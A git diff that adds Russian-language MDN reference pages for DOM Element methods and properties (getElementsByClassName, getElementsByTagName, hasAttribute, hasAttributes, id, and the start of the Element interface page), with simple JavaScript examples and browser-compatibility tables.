+ <li><a href="https://msdn.microsoft.com/en-us/library/ms536433(VS.85).aspx">MSDN: <code>getBoundingClientRect</code></a></li>
+ <li><a href="https://msdn.microsoft.com/en-us/library/hh826029(VS.85).aspx">MSDN: <code>ClientRect</code></a>, более ранняя версия <code>DOMRect</code></li>
+ <li></li>
+ <li>{{DOMxRef("Element.getClientRects()")}}</li>
+</ul>
diff --git a/files/ru/web/api/element/getelementsbyclassname/index.html b/files/ru/web/api/element/getelementsbyclassname/index.html
new file mode 100644
index 0000000000..08cacea20e
--- /dev/null
+++ b/files/ru/web/api/element/getelementsbyclassname/index.html
@@ -0,0 +1,117 @@
+---
+title: Element.getElementsByClassName()
+slug: Web/API/Element/getElementsByClassName
+tags:
+  - API
+  - Класс
+  - Коллекция
+  - Элемент
+translation_of: Web/API/Element/getElementsByClassName
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p><strong><code>Element.getElementsByClassName()</code></strong> метод возвращает объект {{domxref("HTMLCollection")}}, содержащий в себе все дочерние элементы, которые имеют заданные имена классов. Если вызван на объекте document, будут возвращены все элементы, содержащиеся в документе.</p>
+
+<p>Так же, как метод {{domxref("Document.getElementsByClassName", "Document.getElementsByClassName()")}} действует на весь документ; это вернет элементы, которые являются потомками корневого элемента, содержащие в себе указанные классы.</p>
+
+<p>Syntax</p>
+
+<pre class="syntaxbox"><var>var <em>elements</em></var> = <em>element</em>.getElementsByClassName(<em>names</em>);</pre>
+
+<ul>
+ <li><em><var>elements</var></em> — {{ domxref("HTMLCollection") }} содержащий найденные элементы</li>
+ <li><em><var>names</var></em> — строка, содержащая в себе имена классов; имена разделяются пробелами</li>
+ <li><em>element</em> — любой {{domxref("Element")}} в документе (в котором осуществляется выборка)</li>
+</ul>
+
+<h2 id="Examples">Examples</h2>
+
+<p>Получить все элементы с классом test:</p>
+
+<pre class="brush: js">element.getElementsByClassName('test');</pre>
+
+<p>Получить все элементы с классами test и red:</p>
+
+<pre class="brush: js">element.getElementsByClassName('red test');</pre>
+
+<p>Получить все элементы с классом test, которые находятся в элементе с id main:</p>
+
+<pre class="brush: js">document.getElementById('main').getElementsByClassName('test');</pre>
+
+<p>Мы так же можем использовать все методы из {{jsxref("Array.prototype")}} на любом  {{ domxref("HTMLCollection") }} путем передачи <code><var>HTMLCollection</var></code> в метод как значение <var>this</var>. Так мы найдем все {{HTMLElement("div")}} элементы, которые имеют класс test:</p>
+
+<pre class="brush: js">var testElements = document.getElementsByClassName('test');
+var testDivs = Array.prototype.filter.call(testElements, function(testElement){
+    return testElement.nodeName === 'div';
+});</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-element-getelementsbyclassname', 'Element.getElementsByClassName()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }} [1]</td>
+   <td>9</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }} [2]</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }} [1]</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Prior to Firefox 19, this method was returning a {{domxref("NodeList")}}; it was then changed to reflects the change in the spec.</p>
+
+<p>[2] Safari on iOS 8 and OS X 10.10 returns a {{domxref("NodeList")}}.</p>
diff --git a/files/ru/web/api/element/getelementsbytagname/index.html b/files/ru/web/api/element/getelementsbytagname/index.html
new file mode 100644
index 0000000000..dc9dc4fbc7
--- /dev/null
+++ b/files/ru/web/api/element/getelementsbytagname/index.html
@@ -0,0 +1,134 @@
+---
+title: Element.getElementsByTagName()
+slug: Web/API/Element/getElementsByTagName
+translation_of: Web/API/Element/getElementsByTagName
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p><code><strong>Element.getElementsByTagName()</strong></code> метод возвращает живую коллекцию элементов {{domxref("HTMLCollection")}} , учитывая <a href="/en/DOM/element.tagName" title="en/DOM/element.tagName">имя тэга</a>. Поиск осуществляется в поддереве указанного элемента, в результат поиска не попадает сам элемент, в поддереве которого осуществлялся поиск. Возвращает живой список, который автоматически обновляется при изменении DOM. Поэтому не нужно вызывать метод <code>Element.getElementsByTagName()</code> несколько раз с одними и теми же аргументами, содержимое списка обновляется автоматически.</p>
+
+<p>При вызове на HTML-элементе в HTML-документе метод  <code>getElementsByTagName</code> переводит аргумент по которому осуществляется поиск (имя тега) в нижний регистр до того как начать поиск. Это нежелательно, когда необходимо использовать метод для поиска SVG элементов, где в наименовании тега может использоваться верблюжья (camel-cased) нотация. В этом случае правильно использовать метод {{ domxref("Element.getElementsByTagNameNS()") }}.</p>
+
+<p><code>Element.getElementsByTagName</code> похож на {{domxref("Document.getElementsByTagName()")}}, за исключением того, что поиск осуществляется среди потомков конкретного элемента, а не во всём HTML-документе. </p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><code><em>elements</em> = <em>element</em>.getElementsByTagName(<em>tagName</em>)</code></pre>
+
+<ul>
+ <li><code>elements</code> это живая коллекция {{domxref("HTMLCollection")}} найденных элементов в том порядке, в котором они были найдены в дереве. Если не найдено ни одного эелемента, удовлетворяющего условиям поиска, то коллекция будет пустой.</li>
+ <li><code>element</code> это элемент в котором будет осуществляться поиск. Обратите внимание, что поиск будет осуществляться только в потомках этого элемента. Сам элемент не будет включен в результат поиска. </li>
+ <li><code>tagName</code> определяет имя тега для поиска. Если значением tagName будет <code>"*", то в результате будут получены все потомки элемента по которому осуществляется поиск</code>. Для совместимости с XHTML следует использовать нижний регистр в имени тега. </li>
+</ul>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js">// check the alignment on a number of cells in a table.
+var table = document.getElementById("forecast-table");
+var cells = table.getElementsByTagName("td");
+for (var i = 0; i &lt; cells.length; i++) {
+    var status = cells[i].getAttribute("data-status");
+    if ( status == "open" ) {
+        // grab the data
+    }
+}
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-element-getelementsbytagname', 'Element.getElementsByTagName()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Changed the return value from {{domxref("NodeList")}} to {{domxref("HTMLCollection")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#ID-1938918D', 'Element.getElementsByTagName()')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>No change from {{SpecName('DOM2 Core')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-1938918D', 'Element.getElementsByTagName()')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>No change from {{SpecName('DOM1')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-core.html#ID-1938918D', 'Element.getElementsByTagName()')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузеров">Совместимость браузеров</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0 [2]</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatVersionUnknown() }} [1]</td>
+   <td>5.5</td>
+   <td>{{ CompatVersionUnknown() }} [2]</td>
+   <td>{{ CompatVersionUnknown() }} [2]</td>
+  </tr>
+  <tr>
+   <td>getElementsByTagName("*")</td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>6.0</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatVersionUnknown() }} [1]</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] До Firefox 19 этот метод возвращал {{domxref("NodeList")}}; и был затем изменен, чтобы соответстовать спецификации.</p>
+
+<p>[2] Первоначально этот метод возвращал {{domxref("NodeList")}}; и был затем изменен, чтобы соответстовать спецификации.</p>
diff --git a/files/ru/web/api/element/hasattribute/index.html b/files/ru/web/api/element/hasattribute/index.html
new file mode 100644
index 0000000000..12983eff93
--- /dev/null
+++ b/files/ru/web/api/element/hasattribute/index.html
@@ -0,0 +1,114 @@
+---
+title: Element.hasAttribute()
+slug: Web/API/Element/hasAttribute
+tags:
+  - ОМД
+  - Элемент
+  - метод
+translation_of: Web/API/Element/hasAttribute
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><strong><code>Element.hasAttribute()</code></strong> метод возвращает {{Glossary("Boolean")}} значение указывающее, имеет ли указанный элемент указанный атрибут или нет.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><var>var <em>result</em></var> = <em><var>element</var></em>.hasAttribute(<em><var>attName</var></em>);
+</pre>
+
+<ul>
+ <li><code>Переменная result</code> хранит возвращенное значение <code>true</code> или <code>false</code>.</li>
+ <li><code>attName</code> это  {{Glossary("String")}} представляющая имя атрибута.</li>
+</ul>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush:js">// проверка, существует ли атрибут, перед тем как задать значение
+var d = document.getElementById("div1");
+
+if (d.hasAttribute("align")) {
+  d.setAttribute("align", "center");
+}</pre>
+
+<h2 id="Замечания">Замечания</h2>
+
+<div>{{DOMAttributeMethods}}</div>
+
+<div> </div>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-element-hasattribute', 'Element.hasAttribute()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>С {{SpecName('DOM3 Core')}}, перемещено с {{domxref("Node")}} к {{domxref("Element")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#ID-NodeHasAttrs', 'Element.hasAttribute()')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Нет изменений с {{SpecName('DOM2 Core')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-NodeHasAttrs', 'Element.hasAttribute()')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>Исходное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>8.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ru/web/api/element/hasattributes/index.html b/files/ru/web/api/element/hasattributes/index.html
new file mode 100644
index 0000000000..1ab3c40fd8
--- /dev/null
+++ b/files/ru/web/api/element/hasattributes/index.html
@@ -0,0 +1,122 @@
+---
+title: Element.hasAttributes()
+slug: Web/API/Element/hasAttributes
+translation_of: Web/API/Element/hasAttributes
+---
+<div>{{ApiRef("DOM")}}</div>
+
+<p>Метод <code><strong>Element</strong></code><strong><code>.hasAttributes()</code></strong> возвращает <strong>Boolean</strong> значение, указывая содержит данный элемент какие-либо атрибуты или нет.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre>var<em><var> result</var></em> = <em><var>element</var></em>.hasAttributes();</pre>
+
+<dl>
+ <dt><code>result</code></dt>
+ <dd>содержит возвращаемое значение <code>true</code> или <code>false</code>.</dd>
+</dl>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush:js">var foo = document.getElementById("foo");
+if (foo.hasAttributes()) {
+    // do something with 'foo.attributes'
+}
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<pre class="brush:js">;(function(prototype) {
+    prototype.hasAttributes = prototype.hasAttributes || function() {
+        return (this.attributes.length &gt; 0);
+    }
+})(Element.prototype);
+</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM WHATWG", "#dom-element-hasattributes", "Element.hasAttributes()")}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Moved from the {{domxref("Node")}} interface to the more specialized {{domxref("Element")}} interface.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core','#ID-NodeHasAttrs','hasAttributes()')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>No change from {{SpecName("DOM2 Core")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core','#ID-NodeHasAttrs','hasAttributes()')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>Initial definition, on the {{domxref("Node")}} interface.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }} [1]</td>
+   <td>9</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Before Firefox 35, it was implemented on the {{domxref("Node")}} interface.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("Element.attributes")}}</li>
+ <li>{{domxref("Element.hasAttribute()")}}</li>
+</ul>
diff --git a/files/ru/web/api/element/id/index.html b/files/ru/web/api/element/id/index.html
new file mode 100644
index 0000000000..62fd77b730
--- /dev/null
+++ b/files/ru/web/api/element/id/index.html
@@ -0,0 +1,121 @@
+---
+title: Element.id
+slug: Web/API/Element/id
+tags:
+  - API
+  - DOM
+  - Element
+  - Property
+  - Reference
+translation_of: Web/API/Element/id
+---
+<div>{{ ApiRef("DOM") }}</div>
+
+<div>Свойство <code><strong>id</strong></code> представляет идентификатор элемента, отражая глобальный аттрибут <strong><a href="/ru/docs/Web/HTML/Global_attributes/id">id</a></strong>.</div>
+
+<div></div>
+
+<p>Если значение <code><strong>id</strong></code> не пустое, то оно должно быть уникально в документе.</p>
+
+<p><code><strong>id</strong></code> часто используется с {{domxref("document.getElementById", "getElementById")}}, чтобы получить нужный элемент. Часто применяют <a href="/ru/docs/Web/CSS/ID_selectors" title="Web/CSS/ID_selectors">ID как селектор</a>, для стилизации документа, с помощью <a href="r u/docs/Web/CSS" title="CSS">CSS</a>.</p>
+
+<div class="note">
+<p><span style="font-size: 14px; line-height: 21px;"><strong>Замечание</strong></span>: идентификаторы чувствительны к регистру, но вам следует избегать создание id, которых различает регистр (смотрите <a href="/ru/docs/Case_Sensitivity_in_class_and_id_Names" title="Case_Sensitivity_in_class_and_id_Names">Чувствительность к регистру в классах и id'шниках</a>).</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre>var <em>idStr</em> = <em>element</em>.id; // Получаем id.
+</pre>
+
+<pre><em>element</em>.id = <em>idStr</em>;<em> // Применяем id</em>
+</pre>
+
+<p><em><code>idStr</code></em> - идентификатор элемента</p>
+
+<h2 id="Specification" name="Specification">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификации</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-element-id', 'id')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Нет изменений от {{SpecName('DOM2 HTML')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-63534901', 'id')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td>Нет отличий от {{SpecName('DOM1')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-html.html#ID-63534901', 'id')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Глобальный атрибут <a href="/ru/docs/Web/HTML/Global_attributes/id"><strong>id</strong></a></li>
+</ul>
diff --git a/files/ru/web/api/element/index.html b/files/ru/web/api/element/index.html
new file mode 100644
index 0000000000..3f95a90be6
--- /dev/null
+++ b/files/ru/web/api/element/index.html
@@ -0,0 +1,297 @@
+---
+title: Element
+slug: Web/API/Element
+tags:
+  - API
+  - DOM
+  - Element
+  - Interface
+  - Reference
+translation_of: Web/API/Element
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p><span class="seoSummary">Интерфейс <code><strong>Element</strong></code> представляет собой один из объектов в {{domxref("Document")}}. Этот интерфейс описывает методы и свойства, общие для всех видов элементов. Конкретные модели поведения описаны в интерфейсах, которые наследуют от <code>Element</code>, и добавляют дополнительную функциональность.</span></p>
+
+<p>Например, интерфейс {{domxref("HTMLElement")}} является базовым интерфейсом для HTML-элементов, в то время как интерфейс {{domxref("SVGElement")}} является основой для всех SVG-элементов.</p>
+
+<p>Языки, находящиеся вне области веб-платформы, также используют его. Например, <code>XUL</code> — через <code>интерфейс XULElement</code>.</p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<h2 id="Properties" name="Properties">Свойства</h2>
+
+<p><em>Наследует свойства от родительского узла {{domxref("Node")}} и от собственного родителя {{domxref("EventTarget")}} и реализует свойства {{domxref("ParentNode")}}, {{domxref("ChildNode")}}, {{domxref("NonDocumentTypeChildNode")}}, </em>and {{domxref("Animatable")}}.</p>
+
+<dl>
+ <dt>{{ domxref("Element.assignedSlot")}} {{experimental_inline}} {{readOnlyInline}}</dt>
+ <dd>Возвращает {{domxref("HTMLSlotElement")}} интерфейс, связанный с элементом.</dd>
+ <dt>{{ domxref("Element.attributes") }} {{readOnlyInline}}</dt>
+ <dd>Возвращает {{ domxref("NamedNodeMap") }}, в котором перечислены все атрибуты связанные с элементом.</dd>
+ <dt>{{ domxref("Element.classList") }} {{readOnlyInline}}</dt>
+ <dd>Возвращает {{ domxref("DOMTokenList") }} содержащий список атрибутов класса.</dd>
+ <dt>{{ domxref("ParentNode.childElementCount") }}</dt>
+ <dd>Это {{jsxref("Number")}} представляющее число дочерних узлов, представленных в элементе.</dd>
+ <dt>{{ domxref("ParentNode.children") }}</dt>
+ <dd>Is a live {{ domxref("HTMLCollection") }}, содержащая все дочерние элементы, в виде коллекции.</dd>
+ <dt>{{ domxref("Element.className") }}</dt>
+ <dd>Это {{domxref("DOMString")}}, представляющая класс элемента.</dd>
+ <dt>{{ domxref("Element.clientHeight") }} {{experimental_inline}} {{readOnlyInline}}</dt>
+ <dd>Возвращает {{jsxref("Number")}}, представляющее внутреннюю высоту элемента.</dd>
+ <dt>{{ domxref("Element.clientLeft") }} {{experimental_inline}} {{readOnlyInline}}</dt>
+ <dd>Возвращает {{jsxref("Number")}}, предсталяющее ширину левой границы элемента.</dd>
+ <dt>{{ domxref("Element.clientTop") }} {{experimental_inline}} {{readOnlyInline}}</dt>
+ <dd>Возвращает {{jsxref("Number")}}, представляющее ширину верхней границы элемента.</dd>
+ <dt>{{ domxref("Element.clientWidth") }} {{experimental_inline}} {{readOnlyInline}}</dt>
+ <dd>Возвращает {{jsxref("Number")}}, представляющее внутреннюю ширину элемента.</dd>
+ <dt>{{ domxref("ParentNode.firstElementChild") }}</dt>
+ <dd>Возвращает {{ domxref("Element") }}, первый дочерний элемент элемента или <code>null</code>, если у элемента нет дочерних элементов.</dd>
+ <dt>{{ domxref("Element.id") }}</dt>
+ <dd>Возвращает {{domxref("DOMString")}}, представляющий идентификатор (Id) элемента.</dd>
+ <dt>{{ domxref("Element.innerHTML") }} {{experimental_inline}}</dt>
+ <dd>Является {{domxref("DOMString")}}, представляющей разметку контента элемента.</dd>
+ <dt>{{domxref("Element.namespaceURI")}} {{readonlyInline}}</dt>
+ <dd>Пространство имён URI элемента или null, если это не пространство имен.</dd>
+ <dd>
+ <div class="note">
+ <p><strong>Примечание:</strong> В Firefox версии 3.5 и ранее, HTML элементы не находятся в пространстве имен. В более поздних версиях, HTML элементы находятся в пространстве имен  <code><a href="http://www.w3.org/1999/xhtml" title="Linkification: http://www.w3.org/1999/xhtml">http://www.w3.org/1999/xhtml</a></code>  как в деревьях HTML, так и XML. {{ gecko_minversion_inline("1.9.2") }}</p>
+ </div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{ domxref("ParentNode.lastElementChild") }}</dt>
+ <dd>Является {{ domxref("Element") }}, последним непосредственным дочерним элементом данного элемента, или <code>null</code>, если у элемента нет дочерних элементов.</dd>
+ <dt>{{ domxref("NonDocumentTypeChildNode.nextElementSibling") }}</dt>
+ <dd>Является {{ domxref("Element") }}, элементом, непосредственно следующим за данным в древе, или <code>null</code>, если соседний элемент отсутствует.</dd>
+ <dt>{{ domxref("Element.outerHTML") }} {{experimental_inline}}</dt>
+ <dd>Является {{domxref("DOMString")}}, представляющей разметку элемента, включая его контент. При использовании в качестве сеттера заменяет элемент узлами, структурированными из указанной строки.</dd>
+ <dt>{{ domxref("NonDocumentTypeChildNode.previousElementSibling") }}</dt>
+ <dd>Является {{ domxref("Element") }}, элементом, непосредственно предшествующим в древе данному, или <code>null</code>, если соседний элемент отсутствует.</dd>
+ <dt>{{ domxref("Element.scrollHeight") }} {{experimental_inline}} {{readOnlyInline}}</dt>
+ <dd>Возвращает {{jsxref("Number")}}, представляющее высоту прокрутки элемента.</dd>
+ <dt>{{ domxref("Element.scrollLeft") }} {{experimental_inline}}</dt>
+ <dd>Является {{jsxref("Number")}}, представляющим количество пикселей, на которые контент элемента прокручен влево.</dd>
+ <dt>{{ domxref("Element.scrollLeftMax") }} {{non-standard_inline}} {{readOnlyInline}}</dt>
+ <dd>Возвращает {{jsxref("Number")}}, представляющее максимально возможное количество пикселей, на которые можно прокрутить контент элемента влево.</dd>
+ <dt>{{ domxref("Element.scrollTop") }} {{experimental_inline}}</dt>
+ <dd>Является {{jsxref("Number")}}, представляющим количество пикселей, на которые контент элемента прокручен от верха.</dd>
+ <dt>{{ domxref("Element.scrollTopMax") }} {{non-standard_inline}} {{readOnlyInline}}</dt>
+ <dd>Вовзращает {{jsxref("Number")}}, представляющее максимально возможное количество пикселей, на которые можно прокрутить контент элемента от верха.</dd>
+ <dt>{{ domxref("Element.scrollWidth") }} {{experimental_inline}} {{readOnlyInline}}</dt>
+ <dd>Возвращает {{jsxref("Number")}}, представляющее ширину прокрутки элемента.</dd>
+ <dt>{{domxref("Element.shadowRoot") }} {{experimental_inline}} {{readOnlyInline}}</dt>
+ <dd>...</dd>
+ <dt>{{ domxref("Element.tagName") }} {{readOnlyInline}}</dt>
+ <dd>Возвращает {{domxref("String")}} с именем тега указанного элемента.</dd>
+ <dt>{{ domxref("Element.undoManager")}} {{experimental_inline}} {{readOnlyInline}}</dt>
+ <dd>Returns the {{domxref("UndoManager")}} associated with the element.</dd>
+ <dt>{{ domxref("Element.undoScope")}} {{experimental_inline}}</dt>
+ <dd>Представляет собой {{jsxref("Boolean")}}, указывающим, является элемент undo scope host, или нет.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Примечание:</strong> В DOM3 <code>namespaceURI</code>, <code>localName</code> и <code>prefix</code> определялись в интерфейсе {{domxref("Node")}}. В DOM4 они были перенесены в <code>Element</code>.</p>
+
+<p>Данное изменение поддерживается в Chrome начиная с версии 46.0 и в Firefox с версии 48.0.</p>
+</div>
+
+<h3 id="Handlers" name="Handlers">Обработчики событий</h3>
+
+<dl>
+ <dt>{{ domxref("Element.ongotpointercapture") }}</dt>
+ <dd>Возвращает обработчик событий для событий типа {{event("gotpointercapture")}}.</dd>
+ <dt>{{ domxref("Element.onlostpointercapture") }}</dt>
